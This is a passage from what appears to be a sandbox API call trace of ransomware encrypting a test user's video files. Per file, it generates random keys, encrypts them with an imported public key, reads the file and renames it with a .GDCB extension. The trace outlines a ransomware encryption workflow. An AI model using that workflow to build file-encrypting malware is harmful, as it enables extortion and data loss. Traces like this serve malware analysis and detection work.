1 [0143.062] GetLastError () returned 0x0 [0143.062] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.062] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ed168) returned 1 [0143.064] CryptImportKey (in: hProv=0x2ed168, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28f5210) returned 1 [0143.064] CryptGetKeyParam (in: hKey=0x28f5210, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0143.064] CryptEncrypt (in: hKey=0x28f5210, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0143.064] GetLastError () returned 0x0 [0143.064] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0143.064] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\fh_ElomWjB6mGEzzsu.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\fh_elomwjb6mgezzsu.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0143.064] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.064] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.066] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x8867, lpOverlapped=0x0) returned 1 [0143.075] VirtualAlloc (lpAddress=0x0, dwSize=0x8870, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.079] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\fh_ElomWjB6mGEzzsu.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\fh_elomwjb6mgezzsu.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\fh_ElomWjB6mGEzzsu.avi.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\fh_elomwjb6mgezzsu.avi.gdcb")) returned 1 [0143.080] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0143.081] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.081] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.081] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0143.081] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.081] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0143.082] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.082] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.082] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0143.082] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.082] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0143.084] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28f4bd0) returned 1 [0143.084] CryptGetKeyParam (in: hKey=0x28f4bd0, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0143.084] CryptEncrypt (in: hKey=0x28f4bd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0143.084] GetLastError () returned 0x0 [0143.084] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.084] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0143.086] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28f5250) returned 1 [0143.086] CryptGetKeyParam (in: hKey=0x28f5250, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0143.086] CryptEncrypt (in: hKey=0x28f5250, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0143.086] GetLastError () returned 0x0 [0143.086] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.086] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\I3rvC2fJE74Sn F44.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\i3rvc2fje74sn f44.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0143.087] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.087] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.087] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0xcf6b, lpOverlapped=0x0) returned 1 [0143.097] VirtualAlloc (lpAddress=0x0, dwSize=0xcf70, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.101] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\I3rvC2fJE74Sn F44.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\i3rvc2fje74sn f44.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\I3rvC2fJE74Sn F44.flv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\i3rvc2fje74sn f44.flv.gdcb")) returned 1 [0143.102] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0143.103] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.103] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.103] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285ef64 | out: pbBuffer=0x285ef64) returned 1 [0143.103] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.103] CryptAcquireContextW (in: phProv=0x285ee14, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285ee14*=0x2ecc18) returned 1 [0143.103] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.104] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.104] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285ef30 | out: pbBuffer=0x285ef30) returned 1 [0143.104] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.104] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecc18) returned 1 [0143.106] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28f4d50) returned 1 [0143.106] CryptGetKeyParam (in: hKey=0x28f4d50, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0143.106] CryptEncrypt (in: hKey=0x28f4d50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285ef7c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285ef7c*=0x100) returned 1 [0143.106] GetLastError () returned 0x0 [0143.106] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.106] CryptAcquireContextW (in: phProv=0x285ee04, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285ee04*=0x2ecfd0) returned 1 [0143.108] CryptImportKey (in: hProv=0x2ecfd0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285ee08 | out: phKey=0x285ee08*=0x28f4d90) returned 1 [0143.108] CryptGetKeyParam (in: hKey=0x28f4d90, dwParam=0x8, pbData=0x285edf4, pdwDataLen=0x285edfc, dwFlags=0x0 | out: pbData=0x285edf4*=0x800, pdwDataLen=0x285edfc*=0x4) returned 1 [0143.108] CryptEncrypt (in: hKey=0x28f4d90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285ef80*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285ef80*=0x100) returned 1 [0143.108] GetLastError () returned 0x0 [0143.108] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.108] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\vqbM3wDvneErr8cJ.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\vqbm3wdvneerr8cj.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0143.108] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.108] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.109] ReadFile (in: hFile=0x4f0, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285efc0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285efc0*=0x11dee, lpOverlapped=0x0) returned 1 [0143.118] VirtualAlloc (lpAddress=0x0, dwSize=0x11df0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.124] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\vqbM3wDvneErr8cJ.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\vqbm3wdvneerr8cj.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\M VM-W8ibnNtUjYzZy1\\vqbM3wDvneErr8cJ.mkv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\m vm-w8ibnntujyzzy1\\vqbm3wdvneerr8cj.mkv.gdcb")) returned 1 [0143.124] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0143.125] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.125] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.125] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0143.125] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.125] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ecc18) returned 1 [0143.126] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.126] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.126] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x20, pbBuffer=0x285f1b8 | out: pbBuffer=0x285f1b8) returned 1 [0143.126] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.126] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0143.129] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28f51d0) returned 1 [0143.129] CryptGetKeyParam (in: hKey=0x28f51d0, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.129] CryptEncrypt (in: hKey=0x28f51d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f204*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f204*=0x100) returned 1 [0143.129] GetLastError () returned 0x0 [0143.129] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.129] CryptAcquireContextW (in: phProv=0x285f08c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f08c*=0x2ecc18) returned 1 [0143.131] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f090 | out: phKey=0x285f090*=0x28f4f50) returned 1 [0143.131] CryptGetKeyParam (in: hKey=0x28f4f50, dwParam=0x8, pbData=0x285f07c, pdwDataLen=0x285f084, dwFlags=0x0 | out: pbData=0x285f07c*=0x800, pdwDataLen=0x285f084*=0x4) returned 1 [0143.131] CryptEncrypt (in: hKey=0x28f4f50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f208*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f208*=0x100) returned 1 [0143.131] GetLastError () returned 0x0 [0143.131] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.131] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\QJlL7y9JmXDRLc6Ro.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\qjll7y9jmxdrlc6ro.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ec [0143.131] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.131] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.131] ReadFile (in: hFile=0x4ec, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f248, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f248*=0x13164, lpOverlapped=0x0) returned 1 [0143.140] VirtualAlloc (lpAddress=0x0, dwSize=0x13170, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.145] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\QJlL7y9JmXDRLc6Ro.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\qjll7y9jmxdrlc6ro.avi"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\1rMkargVi\\QJlL7y9JmXDRLc6Ro.avi.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\1rmkargvi\\qjll7y9jmxdrlc6ro.avi.gdcb")) returned 1 [0143.146] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecc18) returned 1 [0143.147] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.147] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.147] CryptGenRandom (in: hProv=0x2ecc18, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0143.147] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.147] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ecfd0) returned 1 [0143.147] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.148] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.148] CryptGenRandom (in: hProv=0x2ecfd0, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0143.148] CryptReleaseContext (hProv=0x2ecfd0, dwFlags=0x0) returned 1 [0143.148] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0143.150] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x28f4c90) returned 1 [0143.150] CryptGetKeyParam (in: hKey=0x28f4c90, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0143.150] CryptEncrypt (in: hKey=0x28f4c90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0143.150] GetLastError () returned 0x0 [0143.150] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.150] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ecc18) returned 1 [0143.152] CryptImportKey (in: hProv=0x2ecc18, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x28f5290) returned 1 [0143.152] CryptGetKeyParam (in: hKey=0x28f5290, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0143.152] CryptEncrypt (in: hKey=0x28f5290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0143.152] GetLastError () returned 0x0 [0143.152] CryptReleaseContext (hProv=0x2ecc18, dwFlags=0x0) returned 1 [0143.152] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\kOjmvhiL2 9M.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\kojmvhil2 9m.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0143.153] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.153] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.153] ReadFile (in: hFile=0x4e8, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f4d0*=0x977a, lpOverlapped=0x0) returned 1 [0143.163] VirtualAlloc (lpAddress=0x0, dwSize=0x9780, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.167] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\kOjmvhiL2 9M.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\kojmvhil2 9m.mp4"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\kOjmvhiL2 9M.mp4.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\kojmvhil2 9m.mp4.gdcb")) returned 1 [0143.168] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed168) returned 1 [0143.169] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.169] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.169] CryptGenRandom (in: hProv=0x2ed168, dwLen=0x10, pbBuffer=0x285f474 | out: pbBuffer=0x285f474) returned 1 [0143.169] CryptReleaseContext (hProv=0x2ed168, dwFlags=0x0) returned 1 [0143.169] CryptAcquireContextW (in: phProv=0x285f324, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f324*=0x2ed300) returned 1 [0143.169] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.170] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.170] CryptGenRandom (in: hProv=0x2ed300, dwLen=0x20, pbBuffer=0x285f440 | out: pbBuffer=0x285f440) returned 1 [0143.170] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.170] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed0e0) returned 1 [0143.172] CryptImportKey (in: hProv=0x2ed0e0, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x28f4b90) returned 1 [0143.172] CryptGetKeyParam (in: hKey=0x28f4b90, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0143.172] CryptEncrypt (in: hKey=0x28f4b90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2870000*, pdwDataLen=0x285f48c*=0xc8, dwBufLen=0x800 | out: pbData=0x2870000*, pdwDataLen=0x285f48c*=0x100) returned 1 [0143.172] GetLastError () returned 0x0 [0143.172] CryptReleaseContext (hProv=0x2ed0e0, dwFlags=0x0) returned 1 [0143.172] CryptAcquireContextW (in: phProv=0x285f314, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285f314*=0x2ed300) returned 1 [0143.174] CryptImportKey (in: hProv=0x2ed300, pbData=0x840000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285f318 | out: phKey=0x285f318*=0x28f4dd0) returned 1 [0143.174] CryptGetKeyParam (in: hKey=0x28f4dd0, dwParam=0x8, pbData=0x285f304, pdwDataLen=0x285f30c, dwFlags=0x0 | out: pbData=0x285f304*=0x800, pdwDataLen=0x285f30c*=0x4) returned 1 [0143.174] CryptEncrypt (in: hKey=0x28f4dd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2880000*, pdwDataLen=0x285f490*=0xc8, dwBufLen=0x800 | out: pbData=0x2880000*, pdwDataLen=0x285f490*=0x100) returned 1 [0143.174] GetLastError () returned 0x0 [0143.174] CryptReleaseContext (hProv=0x2ed300, dwFlags=0x0) returned 1 [0143.174] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\mtUuOvxK7w98mX.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\mtuuovxk7w98mx.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e8 [0143.174] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29a0000 [0143.175] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x29b0000 [0143.175] ReadFile (in: hFile=0x4e8, lpBuffer=0x29b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285f4d0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesRead=0x285f4d0*=0x15591, lpOverlapped=0x0) returned 1 [0143.184] VirtualAlloc (lpAddress=0x0, dwSize=0x155a0, flAllocationType=0x3000, flProtect=0x4) returned 0x2ac0000 [0143.190] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\mtUuOvxK7w98mX.flv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\mtuuovxk7w98mx.flv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\mtUuOvxK7w98mX.flv.GDCB" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\mtuuovxk7w98mx.flv.gdcb")) returned 1 [0143.191] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0143.191] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0143.191] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0143.191] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0143.192] CryptAcquireContextW (in: phProv=0x285f09c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285f09c*=0x2ed168) returned 1 [0143.193] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0143.193] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0143.193] CryptGenRandom (in: hProv=0x2ed168, dwLen=0x10, pbBuffer=0x285f1ec | out: pbBuffer=0x285f1ec) returned 1 [0143.193] CryptReleaseContext 